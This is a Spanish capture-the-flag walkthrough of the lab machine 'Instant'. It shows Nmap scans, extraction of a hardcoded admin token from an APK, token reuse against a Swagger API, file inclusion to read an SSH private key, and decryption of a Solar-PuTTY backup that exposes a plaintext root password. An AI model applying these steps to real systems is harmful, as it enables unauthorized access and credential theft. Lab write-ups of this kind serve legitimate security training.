Instant es una máquina de dificultad media que incluye ingeniería inversa de una aplicación móvil, explotación de puntos finales de API y descifrado de hashes y archivos cifrados. Los jugadores analizarán un APK para extraer información confidencial y un token de autorización codificado, luego explotarán un punto final de API vulnerable a la lectura arbitraria de archivos. Finalmente, lograrán comprometer por completo el sistema descifrando y analizando datos de sesión cifrados de Solar-PuTTY.
Reconnaissance
Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Instant. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.37 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-20 07:52 CET
Initiating SYN Stealth Scan at 07:52
Scanning 10.10.11.37 [65535 ports]
Discovered open port 22/tcp on 10.10.11.37
Discovered open port 80/tcp on 10.10.11.37
Completed SYN Stealth Scan at 07:52, 11.55s elapsed (65535 total ports)
Nmap scan report for 10.10.11.37
Host is up, received user-set (0.035s latency).
Scanned at 2025-01-20 07:52:00 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65540 (2.622MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.37
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Apache y el servicio SSH.
❯ nmap -sCV -p22,80 10.10.11.37 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-20 07:53 CET
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 100.00 ms 10.10.16.1
2 28.13 ms instant.htb (10.10.11.37)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.10 seconds
Procederemos a transformar el archivo generado targetedXML en un archivo HTML. Posteriormente, montaremos un servidor web para visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Web Enumeration
Analyzing APK binary with JADX-GUI
Una vez descargado el archivo instant.apk, el siguiente paso será analizar el binario. Esto lo podemos hacer de dos maneras, a través de la herramienta apktool que nos descomprimirá el APK en nuestro directorio actual para posteriormente revisar los archivos que nos genere.
La otra opción, la más recomendable, es hacer uso de la herramienta jadx-gui, que nos permitirá realizar lo mismo pero a través de una interfaz GUI.
❯ ls -l
.rw-rw-r-- kali kali 5.2 MB Mon Jan 20 07:55:11 2025 instant.apk
❯ apktool d instant.apk
I: Using Apktool 2.6.0 on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
❯ jadx-gui
Analizando el código fuente de la aplicación, nos encontramos en AdminActivities lo que parece ser una clave Authorization y un subdominio llamado mywalletv1.instant.htb.
Nos guardaremos con esta clave del usuario admin, para verificar si nos puede servir más adelante.
Revisando el siguiente archivo que se encuentra en la ruta res/xml/network_security_config.xml nos encontramos con la siguiente información. Parece tratarse de subdominios.
Añadiremos estos nuevos subdominios en nuestro archivo /etc/hosts.
Swagger es un conjunto de herramientas y especificaciones diseñadas para ayudar a crear, documentar y consumir APIs RESTful.
A través del siguiente enlace, podemos consultar cómo funciona el Swagger.
Revisando la página web, podemos verificar que han documentado cómo podemos registrarnos. En este caso, intentaremos registrarnos pare verificar qué podemos realizar.
Al intentar registrarnos, verificamos que nos muestran cómo podemos efectuar el registro a través de la API del sitio web, también nos demuestran los diferentes resultados que obtendríamos.
Desde nuestra terminal, intentaremos registranos usando la API, verificamos que nos aparece conforme el registro se ha realizado correctamente.
Por otro lado, también verificamos que hay documentación de cómo utilizar la API para iniciar sesión con ella. Al darle a la opción de Execute nos deberá proporcionar la información del comando a utilizar.
El comando que nos proporcinó es el siguiente, en el cual al ejecutarlo, nos proporciona un Access-Token de nuestro usuario.
Revisaremos la documentación para visualizar nuestro perfil. Para visualizar nuestro perfil, lo podemos hacer a través de cURL o accediendo a la URL que se nos menciona.
En este caso, utilizamos BurpSuite para enviar la solicitud modificado. En este caso, añadimos el apartado de Authorization y la clave del Access-Token que obtuvimos anteriormente.
Al enviar la solicitud, verificamos que en el resultado de la respuesta por parte del servidor, nos indica que somos el usuario que hemos creado.
Dado que el Access-Token que tenemos actualmente parece ser muy similar al del usuario admin, que obtuvimos anteriormente al analizar el archivo APK, el siguiente paso fue modificar el campo Authorization con el Access-Token del usuario admin y verificar la respuesta del servidor.
En este caso, comprobamos que el servidor ha aceptado el Access-Token. Por lo tanto, es válido y el usuario que tenemos ahora es el usuario instantAdmin.
Performing Local File Inclusion with Swagger API
En la documentación del sitio web, también verificamos que nos proporcionan la documentación de cómo leer un log. En este caso, indicaremos que queremos leer el archivo encontrado 1.log y nos mostrará cómo leerlo a través del API.
Desde BurpSuite, volveremos a modificar la solicitud para leer el archivo mencionado. Por parte de la respuesta del servidor, logramos leer el archivo mencionado.
Por lo tanto, lo que decidimos intentar realizar es leer a través de un Local File Inclusion (LFI) la clave privada SSH del usuario shirohige. Comprobamos que hemos podido leer la clave privada en el resultado de la respuesta del servidor.
El resultado al copiarlo en un archivo, dispone de varios carácteres que deberemos de eliminar para que tenga el formato adecuado. Por lo tanto, a través de expresiones regulares modificaremos el archivo,
Le daremos los permisos necesarios al archivo id_rsa para poder utilizarlo y autenticarnos al SSH con el usuario sin proporcionarle las credenciales de este mismo. Verificamos que podemos visualizar la flag de user.txt.
❯ chmod 600 id_rsa
❯ ssh -i id_rsa shirohige@10.10.11.37
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
shirohige@instant:~$ cat user.txt
e8117***************************
Privilege Escalation
Analyzing a database file
Navegando en las diferentes rutas, nos encontramos con un archivo de una base de datos llamada instant.db. Este archivo lo compartiremos a través de un servidor web con Python, dado que la máquina dispone del binario.
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ls -l
total 36
-rw-r--r-- 1 shirohige shirohige 36864 Jan 20 00:33 instant.db
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ which python3
/usr/bin/python3
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ python3 -m http.server 6969
Serving HTTP on 0.0.0.0 port 6969 (http://0.0.0.0:6969/) ...
Desde nuestra máquina atacante, nos descargaremos el archivo y lo abriremos con sqlitebrowser.
❯ wget 10.10.11.37:6969/instant.db
--2025-01-20 08:28:38-- http://10.10.11.37:6969/instant.db
Conectando con 10.10.11.37:6969... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 36864 (36K) [application/octet-stream]
Grabando a: «instant.db»
instant.db 100%[==================================================================================================================================>] 36,00K --.-KB/s en 0,08s
2025-01-20 08:28:39 (467 KB/s) - «instant.db» guardado [36864/36864]
❯ ls -l instant.db
.rw-rw-r-- kali kali 36 KB Mon Jan 20 01:33:34 2025 instant.db
❯ sqlitebrowser instant.db
Al revisar la base de datos, nos encontramos con los diferentes usuarios del sitio web. En este caso el usuario que nos interesaría es el de instantAdmin para verificar si estas credenciales nos servirían para el usuario root.
En este caso, la contraseña se encuentra en un formato hash pbkdf2:sha256, intentamos crackear el hash pero vemos que tardaba bastante tiempo y no conseguíamos resultado.
Recovering Credentials from Solar-PuTTY Backup (sessions-backup.dat)
Revisando el directorio /opt, nos encontramos con un directorio backup que contenía un archivo llamado sessions-backup.dat, es decir, un archivo de backup de la sesión de Solar-PuTTY.
Transferiremos este archivo a nuestra Kali atacante.
shirohige@instant:/opt/backups/Solar-PuTTY$ ls -l
total 4
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 11:38 sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ python3 -m http.server 6969
Serving HTTP on 0.0.0.0 port 6969 (http://0.0.0.0:6969/) ...
Nos descargaremos el archivo de backup y verificaremos que lo disponemos en nuestro equipo local.
❯ wget 10.10.11.37:6969/sessions-backup.dat
--2025-01-20 08:41:34-- http://10.10.11.37:6969/sessions-backup.dat
Conectando con 10.10.11.37:6969... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1100 (1,1K) [application/octet-stream]
Grabando a: «sessions-backup.dat»
sessions-backup.dat 100%[==================================================================================================================================>] 1,07K --.-KB/s en 0,03s
2025-01-20 08:41:34 (42,3 KB/s) - «sessions-backup.dat» guardado [1100/1100]
❯ ls -l sessions-backup.dat
.rw-rw-r-- kali kali 1.1 KB Mon Sep 30 13:38:26 2024 sessions-backup.dat
Al revisar el archivo, verificamos que no es legible a simple vista.
Revisando en Internet, nos encontramos con el siguiente script en Python que se encarga de desencriptar los archivos de sesiones de Solar-PuTTY.
❯ wget https://dimont-gattsu.github.io/SolarPuttyDecrypterPy/decrypt2.py
--2025-01-20 08:43:32-- https://dimont-gattsu.github.io/SolarPuttyDecrypterPy/decrypt2.py
Resolviendo dimont-gattsu.github.io (dimont-gattsu.github.io)... 185.199.108.153, 185.199.109.153, 185.199.110.153, ...
Conectando con dimont-gattsu.github.io (dimont-gattsu.github.io)[185.199.108.153]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2824 (2,8K) [application/octet-stream]
Grabando a: «decrypt2.py»
decrypt2.py 100%[===================================================================================================================================>] 2,76K --.-KB/s en 0s
2025-01-20 08:43:32 (55,7 MB/s) - «decrypt2.py» guardado [2824/2824]
❯ ls -l decrypt2.py
.rw-rw-r-- kali kali 2.8 KB Thu Dec 19 18:44:15 2024 decrypt2.py
El siguiente objetivo será lograr obtener la contraseña del archivo para obtener los datos. Estos archivos de sesiones, vienen cifrados con contraseña para no sean legibles a simple vista. En el siguiente blog, nos explican la vulnerabilidad detalladamente.
Al ejecutar el script, verificamos que hemos logrado desencriptarlo y obtener un archivo .bin.
Al analizar el archivo SolarPutty_sessions_decrypted_estrella.bin, verificamos que en el contenido nos aparece las credenciales del usuario root.
❯ ls -l SolarPutty_sessions_decrypted_estrella.bin
.rw-rw-r-- kali kali 791 B Mon Jan 20 08:44:06 2025 SolarPutty_sessions_decrypted_estrella.bin
❯ cat SolarPutty_sessions_decrypted_estrella.bin
�uY��D���ȀpB��U�;�)�Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}
Probaremos de autenticarnos con el usuario root y comprobamos del acceso correcto y de visualizar la flag de root.txt
shirohige@instant:~$ su root
Password:
root@instant:/home/shirohige$ cat /root/root.txt
aa5b****************************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificamos que en el sitio web nos aparece un botón de Download now en el cual haciendo hovering verificamos que se trata de un archivo llamado instant.apk. Nos descargaremos el archivo APK para verificar su uso o analizarlo.
Al acceder a no logramos visualizar nada en la página web.
Por otro lado, en la página logramos acceder a una página web que se trata de una página web de Swagger.
En la documentación de Swagger del sitio web logramos encontrar documentación relacionada a revisar los logs.
Desde BurpSuite interceptaremos la solicitud al acceder a , asignaremos el Authorization del usuario instantAdmin y comprobaremos que nos aparece en el directorio /home/shirohige/logs/ de un archivo llamado 1.log.